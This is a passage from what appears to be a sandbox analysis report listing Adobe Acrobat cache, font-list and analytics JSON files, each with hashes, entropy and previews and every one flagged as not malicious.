Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkl6oyDlltfllXlE/HT8kuGzl/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKjjeT8GJ7NMa8RdWBwRd
MD5:	68565D89612DBBE57F7B1527A128882D
SHA1:	DA10B24F04B85254EDC6D11CA40721DDFC5A8AD3
SHA-256:	42BE6B10B8058594EF88294AC02AFF0F53132145519039575B0752D05870B92E
SHA-512:	BCEDAA5771879A5FFBC53EF7FFB721D064A8196331FC1FDAB163B2DCC4D5E3831961F3897A9143A48F6878C3003172A7233F472077E1E5E0BC3E297BCAEB3BFC
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kKiDL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:GiDImsLNkPlE99SNxAhUe/3
MD5:	4B923DD78B8858C04F8D2D63EF55DEB6
SHA1:	05B2E49BC4EA9C094F4FF09645EF954C7D512379
SHA-256:	786DB8BCE660BF91DF6E9A1F7691124357BD0413E7D092FF5222AF01198C0747
SHA-512:	9AC94AB1E8C6F8743BC9570EB1475AE9FBC1F5DD59B0A3412D0A53BB0D0D9EE1DA7E03DB150BB589A0F40830F6A9E5CE845C26155E9D24B19BED701E67CADB14
Malicious:	false
Preview:	p...... ..........,!.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6552

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6552

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.346812539938357
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMHP2vB3/dVlPIHAR0YyzVVeoAvJM3g98kUwPeUkwRe9:YvXKXu2vR/ZwHAW5VVGMbLUkee9
MD5:	520A836B23B51CCAC448CC0F4EA5663F
SHA1:	4C1CD1AD7EAABB2D68616A16B341D84D5E8C3A4D
SHA-256:	AE40C35629E68DBA3CBAD4CFF4A8D4FD557DEF154874278719F22EE990A08D19
SHA-512:	8E1EFF0CB93292C3E4114BC31A993CE36861603FAD52301B170A2CCA33BABD41E5C0566FCC36FCF8B032889C974DD04614405BBE718FEDBD3FCEBFC6AA96B824
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b79295e9-ccb6-475e-a8ee-78211854f074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735975030,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.280567616011166
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMHP2vB3/dVlPIHAR0YyzVVeoAvJfBoTfXpnrPeUkwRe9:YvXKXu2vR/ZwHAW5VVGWTfXcUkee9
MD5:	FAE38F465B5461FFD793B8C71F8EB110
SHA1:	78AB322CAA85D22B62C06305A727341D302BA081
SHA-256:	430497A9BFDB3F99D1DB2135AC481DC3A674AB00A8A606B3537E8728FFB502D0
SHA-512:	8CD64F26E90543F54F1A9DAF65F28AC6F2DE83F107663350B19DC89ED46AF7BFB0C67018B65207C5B32063E18327C9BCC513D24D0BEDB9CF795A1BA240A985D4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b79295e9-ccb6-475e-a8ee-78211854f074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735975030,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.259647080216128
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMHP2vB3/dVlPIHAR0YyzVVeoAvJfBD2G6UpnrPeUkwRe9:YvXKXu2vR/ZwHAW5VVGR22cUkee9
MD5:	3AF510409DE452006851A4B7950CB5E6
SHA1:	A165544230EDFA1EDAF4736B04C54346FDE4478C
SHA-256:	E633155B3298146472466F2C882BA041FCF610B7CC526493078E5EADDE10A32D
SHA-512:	509302ABC36233061D433EF2FE5E4637F4B6AD76B17D76F26253DD5A40158220D63E638C8CAD81F3DB5F2E6506AEADED431749D403CB049B0F5FB55FCCC88FEA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b79295e9-ccb6-475e-a8ee-78211854f074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735975030,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.323180355031764
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMHP2vB3/dVlPIHAR0YyzVVeoAvJfPmwrPeUkwRe9:YvXKXu2vR/ZwHAW5VVGH56Ukee9
MD5:	B01B84679CE3A871BE63100DC43F5B62
SHA1:	A60908A2934A2C16DF2EE62527707D72BA2EEFFD
SHA-256:	DFB4CCCE0838171B9A0D1CD65AF217F58E7DFEF17922D15666E21A9158FCE025
SHA-512:	43E1F606BFAF911312A61FD92EC06BD22FFAC8CD9C2FB3998275F3654680B3970043487A08E20FB8411ADA5F56A62F106A984FA255B38BB025E004997A6004C2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b79295e9-ccb6-475e-a8ee-78211854f074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735975030,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.692089168735091
Encrypted:	false
SSDEEP:	24:Yv6XJJhy5V6pLgE9cQx8LennAvzBvkn0RCmK8czOCCSW:YvQJhy5shgy6SAFv5Ah8cv/W
MD5:	5C2F4E3FC046460E112FAEE7AC106CC5
SHA1:	E76E70AD80AE1F24D0A08C42B47B0E72F36DA061
SHA-256:	1569AC9EFC62F6C87A7CAA83114279607A599876DD89FB5EA98E39E273A62AE9
SHA-512:	4BFB2EA1D49639808B9EC41247CE33EC59BD4D83F21CD8530F119E7777928441AAC008DDC94B52745294914829701607675B72197A8F338C28C21B396DAE6AFA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b79295e9-ccb6-475e-a8ee-78211854f074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735975030,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.272535201331271
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMHP2vB3/dVlPIHAR0YyzVVeoAvJf8dPeUkwRe9:YvXKXu2vR/ZwHAW5VVGU8Ukee9
MD5:	362B702D351C081BB2FD1C6CFC728AC5
SHA1:	0109C1272C01AEC46B0970B05AC3CADFCCE4B1E7
SHA-256:	05FDEF1195C99D7435417E3CD1F5C149A4236C97C55F0E9230ED1DFF63AF4A08
SHA-512:	8333BE06F506A8B51FFD4B16D11D1F99CD956FCBE4CF079C6B26EDAC3599DF2CAC588B8F19223F4693ABAEB72681757E4546EEB66ADD0F00FB2D009591F3E869
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b79295e9-ccb6-475e-a8ee-78211854f074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735975030,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.270361759108253
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMHP2vB3/dVlPIHAR0YyzVVeoAvJfQ1rPeUkwRe9:YvXKXu2vR/ZwHAW5VVGY16Ukee9
MD5:	58AE75D830418FD9D41EE095115C5EBE
SHA1:	40F1D0398E9670FE5E57FEB9BF63A842D0DA5002
SHA-256:	0AEB798FD4E078AC9B479D0312F3ED1DDC03D5302CAF3C67C009045E0D8B553D
SHA-512:	249114ADBC4A3B7048189981587F7ACC6162A969CC71BFEA76E3760318831A037B2BC5CAFA91AE7763EE241D54E9E683B67BEBF9F11B8671DBC86497724BAFDA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b79295e9-ccb6-475e-a8ee-78211854f074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735975030,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.289269289941626
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMHP2vB3/dVlPIHAR0YyzVVeoAvJfFldPeUkwRe9:YvXKXu2vR/ZwHAW5VVGz8Ukee9
MD5:	38DC9530D97C542AC6FA55BFC0350FBE
SHA1:	979B9F28C4CAAFC928A959514CA5AA5D1814A3FA
SHA-256:	C7C03AB78CFB4590BEE8722B6E83A2AEFFC321A31831603FDBD3B8AC38BD73F4
SHA-512:	2117D28D2C26569326C93251B6A44D2EA6C20B717114A281A5CD83A65C3C7AC107876B7E9D4B7CC9831DE4F04920E233A0702E4754F4C5ACD1EBE17A45107CD4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b79295e9-ccb6-475e-a8ee-78211854f074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735975030,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.300871955283465
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMHP2vB3/dVlPIHAR0YyzVVeoAvJfzdPeUkwRe9:YvXKXu2vR/ZwHAW5VVGb8Ukee9
MD5:	0A0F2220579301BA3FD792490881B41E
SHA1:	A95D933C92D2C181DB62D9A42E15F188637F2690
SHA-256:	13820F41F9013C2DB4712D5F959637DAC2D22C065CF4E1A0B887F87BFD3525D8
SHA-512:	E1172AC82F46DD39D018B8659EBA9EA7678024FE23A7E243CAD421F9CC3D2F0DFC50A4A0E843A9142DB847C024B025A233556454E689C927313031834BAE46AA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b79295e9-ccb6-475e-a8ee-78211854f074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735975030,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2808379699697445
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMHP2vB3/dVlPIHAR0YyzVVeoAvJfYdPeUkwRe9:YvXKXu2vR/ZwHAW5VVGg8Ukee9
MD5:	DBE123002E24FE6E9A4EFE655234051B
SHA1:	96C448B3FAABE83979A78E94897EE7021F2BBEC3
SHA-256:	C26D683595226BF4C0406D9BA9F1BA2309F3B755AACDDB8FBC0FBC8909F66BE6
SHA-512:	0791ADE0262082316E1AB6F43C814096F31C90CFB5E812EDDFC885E36C649B52F5610452C723B579DC7CB93031B230F8DFF8DBE7CEBEA233B9F0F2224A5BF731
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b79295e9-ccb6-475e-a8ee-78211854f074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735975030,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.267399824098647
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMHP2vB3/dVlPIHAR0YyzVVeoAvJf+dPeUkwRe9:YvXKXu2vR/ZwHAW5VVG28Ukee9
MD5:	44D9C03E597D96527A92B027FCB4316E
SHA1:	331BC3D61C13EE91FF5F9439D9F1BC8EB55AA9A0
SHA-256:	56255A077D6E7956EE0BC1F4B93A3304F800E2BDB5C25996013742122C242E33
SHA-512:	9A0608D7B92FD73B683A0F6E0714D1912CAEB0F2E610D0F3D15F2757D6A1F785D30DB3BC4A9992AD42F90DB63DF5F7AE4D80EF87B8922179789EA6E47120551D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b79295e9-ccb6-475e-a8ee-78211854f074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735975030,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.264516765444504
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMHP2vB3/dVlPIHAR0YyzVVeoAvJfbPtdPeUkwRe9:YvXKXu2vR/ZwHAW5VVGDV8Ukee9
